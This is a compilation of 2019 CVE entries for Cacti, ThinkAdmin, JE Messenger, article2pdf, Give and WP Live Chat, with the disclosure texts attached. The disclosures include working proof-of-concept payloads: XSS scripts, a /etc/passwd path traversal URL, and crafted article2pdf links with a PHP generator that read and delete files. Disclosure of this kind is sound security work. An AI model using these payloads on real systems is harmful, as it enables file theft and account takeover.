In clearFilter() in utilities.php in Cacti before 1.2.3, no escaping occurs before printing out the value of the SNMP community string (SNMP Options) in the View poller cache, leading to XSS.

**Describe the bug**  
There's no escape being done before printing out the value of SNMP community string (SNMP Options) in the View poller cache.

**To Reproduce**  
Steps to reproduce the behavior:

1.  Login as normal user ( should have device creation explicitly enabled ).
    
2.  Select create a new device from the console menu.
    
3.  Enter the below shared payload into the "SNMP community string" field & save the device. Payload - <script> alert('XSS'); document.location.replace('//google.com');</script>\`
    
4.  Now login as an Admin user & go to Utilities > System utils > View poller cache, XSS would be trigerred & redirected to google.com as specified in the payload. .
    

**Expected behavior**  
Proper filtration & escaping needs to be done, before taking in the data from the user.

**Screenshots**  

**Desktop (please complete the following information):**

*   OS: Ubuntu 16.04
*   Browser: Firefox

**Smartphone (please complete the following information):**

**Additional context**  
Vulnerable snippet:

Line 1849 in utilities.php  
__('Community:') . ' ' . $item['snmp_community']

CVE-2019-11025: When viewing poller cache, Device SNMP community is not properly escaped · Issue #2581 · Cacti/cacti

application\admin\controller\User.php in ThinkAdmin V4.0 does not prevent continued use of an administrator's cookie-based credentials after a password change.

There is a authority control&Information Disclosure vulnerability inThinkAdmin v4.0.  
As admin,if you change your password,your cookie won't become invalid. And it won't become invalid until the end of Life Cycle.So if attackers got admin's cookie,though traces of the attackers were found,and admin change his password,but attackers still can enter the managed-system.  
POC:  
1:Supposed the attacker got admin's cookie.  

2:We use Edit\_this\_cookie to change cookie .  

3:Admin change his own password

4:We can see attackers still have access to this manage system.

I have analysised source code that result in this vulnerabilty.  
The problem present to ..\\application\\admin\\controller\\User.php

The original source code is:  
public function pass() { if ($this->request->isGet()) { $this->assign('verify', false); return $this->_form($this->table, 'pass'); } $post = $this->request->post(); if ($post['password'] !== $post['repassword']) { $this->error('两次输入的密码不一致！'); } $data = ['id' => $post['id'], 'password' => md5($post['password'])]; if (DataService::save($this->table, $data, 'id')) { $this->success('密码修改成功，下次请使用新密码登录！', ''); } $this->error('密码修改失败，请稍候再试！'); }

And for this,I have make a padding.  
    public function pass() { if ($this->request->isGet()) { $this->assign('verify', false); return $this->_form($this->table, 'pass'); } $post = $this->request->post(); if ($post['password'] !== $post['repassword']) { $this->error('两次输入的密码不一致！'); } $data = ['id' => $post['id'], 'password' => md5($post['password'])]; if (DataService::save($this->table, $data, 'id')) { /* $this->success('密码修改成功，下次请使用新密码登录！', '');*/ if (session('id')) { LogService::write('系统管理', '用户退出系统成功'); } session('id', null); session_destroy(); $this->success('修改成功，请重新登陆！', '@admin/login'); } $this->error('密码修改失败，请稍候再试！'); }

Author:schur happyhackingschur@gmail.com

CVE-2019-11018: ThinkAdmin V4.0 authority control&Information Disclosure  vulnerability · Issue #173 · zoujingli/ThinkAdmin

In the wp-google-maps plugin before 7.11.18 for WordPress, includes/class.rest-api.php in the REST API does not sanitize field names before a SELECT statement.

CVE-2019-10692: WP Go Maps (formerly WP Google Maps)

CVE-2019-10692: WP Google Maps

An issue was discovered in the Harmis JE Messenger component 1.2.2 for Joomla!. Directory Traversal allows read access to arbitrary files.

**CVE-2019-9922****Affected software**

JE Messenger 1.2.2 Joomla Module by Harmis Technology.

**What: Directory Traversal**

Due to insufficient protection mechanisms, it is possible to access arbitrary files from the server.

**Meta**

During the preparation of one of our incident response exercises, one of our CERT Members (Tobias Roggenhofer) detected an unexpected behavior of the Joomla Module JE Messenger of Harmis Technology in its current version (1.2.2). Due to this behavior, we started analyzing this module and detected several vulnerabilities.

We informed the software-vendor that we have detected vulnerabilities in their module. Sadly a secure communication to share the details could not be established.

Since we still want to disclose our findings in a responsible way, we only announced the type of vulnerability and the associated risk in the first step on the 2019-03-29. This gives the software vendor time to patch the plugin or user the time to move to another plugin or temporarily disable it. Since 2019-05-01 we've published more details including some payloads.

**CVSS**

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N : 5.8 (Medium)

**Detailed description**

The vulnerability is located in the attachment download of the component. To exploit it you can ether sends yourself a message with an attachment, open it up and copy the download link of the attachment or simply use the following link: <www.example.vuln>/index.php/component/jemessenger/box\_details?task=download&dw\_file=

The following Example-url shows how to use this vulnerability to download the passwd file from the server: <www.example.vuln>/index.php/component/jemessenger/box\_details?task=download&dw\_file=../../.././../../../etc/passwd

**Timeline**

*   2019-03-05: Contacted vendor, request for encrypted communication
*   2019-03-06: Request from vendor to tell affected product (no encryption)
*   2019-03-06: Provided Module-Name (no encryption)
*   2019-03-06: Further contact with vendor, sadly still no encryption
*   2019-03-13: Reminder, deadline set for 18th of March for a response (no encryption)
*   2019-03-19: No response, reserving CVEs, planned release on 2019-04-01
*   2019-03-22: MITRE informs us that 5 CVEs are reserved
*   2019-03-29: Publishing basic information, informing MITRE and vendor
*   2019-05-01: Publishing full vulnerability details

CVE-2019-9922: CVE/CVE-2019-9922.md at master · azd-cert/CVE

Cross-site scripting (XSS) vulnerability in Nagios XI before 5.5.11 allows attackers to inject arbitrary web script or HTML via the xiwindow parameter.

CVE-2019-9167: Security Disclosures - Nagios

An Information Disclosure / Data Modification issue exists in article2pdf_getfile.php in the article2pdf Wordpress plugin 0.24, 0.25, 0.26, 0.27. A URL can be constructed which allows overriding the PDF file's path leading to any PDF whose path is known and which is readable to the web server can be downloaded. The file will be deleted after download if the web server has permission to do so. For PHP versions before 5.3, any file can be read by null terminating the string left of the file extension.

Skip to content

*   When visiting the PDF download link which the original PDF generation  
    link redirects to, the file path is constructed from a combination of  
    fixed strings and the strings provided via the query string of the  
    download URL. The download URL has the form  
    http://www.example.com/wp-content/plugins/article2pdf/article2pdf\_getfile.php?p=xxx&r=yyy&d=zzz  
    where xxx is a base64 encoded absolute string, xxx is a short hex hash  
    and zzz is the base64 encoded URL title slug of the post the PDF was  
    generated from. While the plugin attempts to sanitise these input  
    parameters to not allow path traversal, this sanitisation is  
    insufficient and can be fully or partially circumvented depending on  
    the PHP version the WordPress instance is running on.
    
    In the case of PHP version <5.3 it is possible to read any file the  
    user the plugin is executed under has read access to by just encoding  
    the full file path in the parameter “d” and terminating that string  
    with a null-byte. The parameter “p” must not be empty but can contain  
    any value. The parameter “r” may be empty but its value is of no  
    significance. If the user that the script is executed as has write  
    access to the file or the directory it is stored in, the file will be  
    deleted after it has been downloaded. If the user has no write access,  
    an error message may be shown at the end of the file contents  
    offered which discloses the WordPress instance’s install directory on  
    the server.
    
    In the case of PHP version >=5.3, null-termination will no longer cut  
    off the string. As the generated file name ends with a fixed string  
    “.pdf”, only files with that file ending can be read. The parameter “d”  
    may be any directory on the server. The parameter “p” needs to contain  
    8 backspace characters to delete a prepended fixed string from the file  
    name while the parameter “r” must contain exactly one backspace. The  
    actual file name (without the “.pdf”) can then be appended to the  
    backspaces in either parameter “p” or parameter “r”. It is also  
    possible to have “p” contain one random character and then have 10  
    backspace characters followed by the actual file name (again,  
    without the “.pdf”) stored in parameter “r”.
    

*   The topic ‘PDF download path improperly sanitised’ is closed to new replies.

CVE-2019-1010257: PDF download path improperly sanitised

A disk space or quota exhaustion issue exists in article2pdf_getfile.php in the article2pdf Wordpress plugin 0.24, 0.25, 0.26, 0.27. Visiting PDF generation link but not following the redirect will leave behind a PDF file on disk which will never be deleted by the plug-in.

**Bugtraq mailing list archives**

_From_: Christian Lerrahn <cybersec () drwaryaa com>  
_Date_: Tue, 26 Mar 2019 12:31:25 +1100  

Product: article2pdf (Wordpress plug-in)
Product Website: https://wordpress.org/plugins/article2pdf/
Affected Versions: 0.24 and greater

The following vulnerabilities were found in a code review of the plug-in. An attempt to contact the plug-in maintainer on 8 December 2018 was unsuccessful. The Wordpress security team disabled downloads

of the plug-in upon notification on 8 January 2019.

I would like to thank Ken Johnson (@cktricky) and Set Law (@sethlaw) whose course "Seth & Ken's Excellent Adventures in Secure Code Review" sparked my interest in reviewing code for

vulnerabilities.

\[CVE-2019-1000031\] Generated PDF file is only removed after download which is initiated by a redirect

\=====================================================================================================
Type:
-----
Resource Exhaustion

Description:
-----------
The plugin generates a PDF version of a post/article when a link of the
form

https://www.example.com/.../my-post-title/?article2pdf=1

is visited. The response to this initial request is a redirect to a link
like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf\_getfile.php?p=xxx&r=yyy&d=zzz

which will then return the PDF file contents and subsequently delete
the file.

As the deletion is coupled with the download but the download is
initiated by a different request than the one which creates the file,
visiting the link which creates the file and not following the redirect
results in the file not being deleted. These files can then accumulate
and potentially exhaust the available disk space.

Depending on the server setup, space exhaustion of a hard drive or hard
drive partition or even just a disk quota can result in denial of
service even for unrelated services on the same machine which rely on
the same resource.

This issue was originally reported on the plugin's bug tracker \[2\] but
never identified as a vulnerability.

Exploit
-------
Repeatedly visit a PDF generation link the plugin provides without ever
following the redirect to exhaust disk space.

\[CVE-2019-1010257\] PDF file download path is constructed from insufficiently sanitised user input

\=================================================================================================
Type:
-----
Information Disclosure / File Deletion

Description:
------------
When visiting the PDF download link which the original PDF generation
link redirects to, the file path is constructed from a combination of
fixed strings and the strings provided via the query string of the
download URL. The download URL has the form

http://www.example.com/wp-content/plugins/article2pdf/article2pdf\_getfile.php?p=xxx&r=yyy&d=zzz

where xxx is a base64 encoded absolute string, xxx is a short hex hash
and zzz is the base64 encoded URL title slug of the post the PDF was
generated from. While the plugin attempts to sanitise these input
parameters to not allow path traversal, this sanitisation is
insufficient and can be fully or partially circumvented depending on
the PHP version the Wordpress instance is running on.

In the case of PHP version <5.3 it is possible to read any file the
user the plugin is executed under has read access to by just encoding
the full file path in the parameter "d" and terminating that string
with a null-byte. The parameter "p" must not be empty but can contain
any value. The parameter "r" may be empty but its value is of no
significance. If the user that the script is executed as has write
access to the file or the directory it is stored in, the file will be
deleted after it has been downloaded. If the user has no write access,
an error message may be shown at the end of the file contents
offered which discloses the Wordpress instance's install directory on
the server.

In the case of PHP version >=5.3, null-termination will no longer cut
off the string. As the generated file name ends with a fixed string
".pdf", only files with that file ending can be read. The parameter "d"
may be any directory on the server. The parameter "p" needs to contain
8 backspace characters to delete a prepended fixed string from the file
name while the parameter "r" must contain exactly one backspace. The
actual file name (without the ".pdf") can then be appended to the
backspaces in either parameter "p" or parameter "r". It is also
possible to have "p" contain one random character and then have 10
backspace characters followed by the actual file name (again,
without the ".pdf") stored in parameter "r".

The information above can also be found on the plug-in's issue tracker \[3\].

Exploit:
--------
On PHP <5.3, a specially crafted link like

http://php52.example.com/wp-content/plugins/article2pdf/article2pdf\_getfile.php?p=YQ==&r=&d=L2V0Yy9wYXNzd2QA

will download the server's /etc/passwd file.

On PHP >=5.3, a specially crafted link like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf\_getfile.php?p=CAgICAgICAg=&r=%08test&d=L3RtcA==

will return the contents of the file "/tmp/test.pdf" and delete the
file if the user the script is executed as has permissions to do so.

The link used above can be generated using a few lines of PHP:

    <?php
    $d52 = base64\_encode("/etc/passwd\\0");
    $p52 = base64\_encode("a");
    $r52 = "";

echo "http://www.example.com/wp-content/plugins/article2pdf/article2pdf\_getfile.php?p=${p52}&r=${r52}&d=${d52}\\n";;

    $d53 = base64\_encode("/tmp");
    $p53\_raw = "";
    for ($i=0;$i<8; $i++) $p53\_raw .= chr(8);
    $p53 = base64\_encode($p53\_raw);
    $r53 = "%08test";

echo "http://www.example.com/wp-content/plugins/article2pdf/article2pdf\_getfile.php?p=${p53}&r=${r53}&d=${d53}\\n";;

\[1\] https://wordpress.org/plugins/article2pdf/

\[2\] https://wordpress.org/support/topic/plugin-article2pdf-temporary-files-filling-up-server-space/ \[3\] https://wordpress.org/support/topic/pdf-download-path-improperly-sanitised/

**Current thread:**

*   **\[article2pdf (Wordpress plug-in)\] Multiple vulnerabilities (CVE-2019-1000031, CVE-2019-1010257)** _Christian Lerrahn (Mar 26)_

CVE-2019-1000031: [article2pdf (Wordpress plug-in)] Multiple vulnerabilities (CVE-2019-1000031, CVE-2019-1010257)

The "Donation Plugin and Fundraising Platform" plugin before 2.3.1 for WordPress has wp-admin/edit.php csv XSS.

*   Vulnerability: XSS
*   Affected Software: Give (50,000+ active installations)
*   Affected Version: 2.3.0
*   Patched Version: 2.3.1
*   Risk: Medium
*   Vendor Contacted: 11/24/2018
*   Vendor Fix: 12/13/2018
*   Public Disclosure: 02/05/2019

**CVSS**

6.1 Medium CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

**Details**

The Give WordPress plugin is vulnerable to reflected XSS as it echoes various parameter without proper encoding.

Successful exploitation allows an attacker to execute JavaScript in the context of the application in the name of an attacked user. This in turn enables an attacker to bypass CSRF protection and thus perform any actions the legitimate user can perform, as well as read data which the user can access.

**Proof of Concept**

    http://localhost/wordpress/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=import&importer-type=import_donations&step=3&mapto%5B0%5D=email&mapto%5B1%5D=first_name&mapto%5B2%5D=amount&mapto%5B3%5D=form_id&csv='"><img+src%3dx+onerror%3dalert(1)>
    

**Code**

    public function start_import() {
        [...]
        <input type="hidden" value='<?php echo maybe_serialize( $_REQUEST['mapto'] ); ?>' name="mapto"
       class="mapto">
        <input type="hidden" value="<?php echo $_REQUEST['csv']; ?>" name="csv" class="csv">
        <input type="hidden" value="<?php echo $_REQUEST['mode']; ?>" name="mode" class="mode">
        <input type="hidden" value="<?php echo $_REQUEST['create_user']; ?>" name="create_user"
       class="create_user">
        <input type="hidden" value="<?php echo $_REQUEST['delete_csv']; ?>" name="delete_csv"
       class="delete_csv">
        <input type="hidden" value="<?php echo $delimiter; ?>" name="delimiter">
        <input type="hidden" value="<?php echo absint( $_REQUEST['dry_run'] ); ?>" name="dry_run">
    

**Timeline**

*   11/24/2018 Asked for email address via contact form
*   11/24/2018 Vendor responds, advisory sent
*   12/13/2018 Vendor releases fix
*   02/05/2019 Confirmed fix & Disclosure

CVE-2019-9909: Give 2.3.0 - Reflected XSS (WordPress Plugin)

The wp-live-chat-support plugin before 8.0.18 for WordPress has wp-admin/admin.php?page=wplivechat-menu-gdpr-page term XSS.

*   Vulnerability: XSS
*   Affected Software: WP Live Chat Support (60,000+ active installations)
*   Affected Version: 8.0.17
*   Patched Version: 8.0.18
*   Risk: Medium
*   Vendor Contacted: 10/31/2018
*   Vendor Fix: 11/01/2018
*   Public Disclosure: 02/05/2019

**CVSS**

6.1 Medium CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

**Details**

The WP Live Chat Support WordPress plugin is vulnerable to reflected XSS as it echoes the term parameter without proper encoding.

Successful exploitation allows an attacker to execute JavaScript in the context of the application in the name of an attacked user. This in turn enables an attacker to bypass CSRF protection and thus perform any actions the legitimate user can perform, as well as read data which the user can access.

**Proof of Concept**

    http://192.168.0.103/wordpress/wp-admin/admin.php?page=wplivechat-menu-gdpr-page&term='"><img+src%3Dx+onerror%3Dalert(1)>
    

**Code**

    wp-live-chat-support/modules/gdpr.php:                      <a class='button' href='?page=wplivechat-menu-gdpr-page&term=<?php echo($_GET["term"]); ?>&action=delete&filter=<?php echo $action_action_filter; ?>&id=<?php echo $cid; ?>'><?php echo $delete_button_text; ?></a>
    wp-live-chat-support/modules/gdpr.php:                      <a class='button button-primary' href='?page=wplivechat-menu-gdpr-page&term=<?php echo($_GET["term"]); ?>&action=download&filter=<?php echo $action_action_filter; ?>&id=<?php echo $cid; ?>'><?php echo $download_button_text; ?></a>
    

**Further**

In addition to the reflected XSS issue, there is a self-XSS issue in the client-side input form, which can be triggered by entering '"><img src=x onerror=alert(1)>. Self-XSS may be exploitable via social engineering or Clickjacking.

**Timeline**

*   10/31/2018 Requested email address via contact form
*   10/31/2018 Vendor responds, advisory sent
*   11/01/2018 Vendor releases fix
*   02/05/2019 Confirmed fix & Disclosure

Tag

#php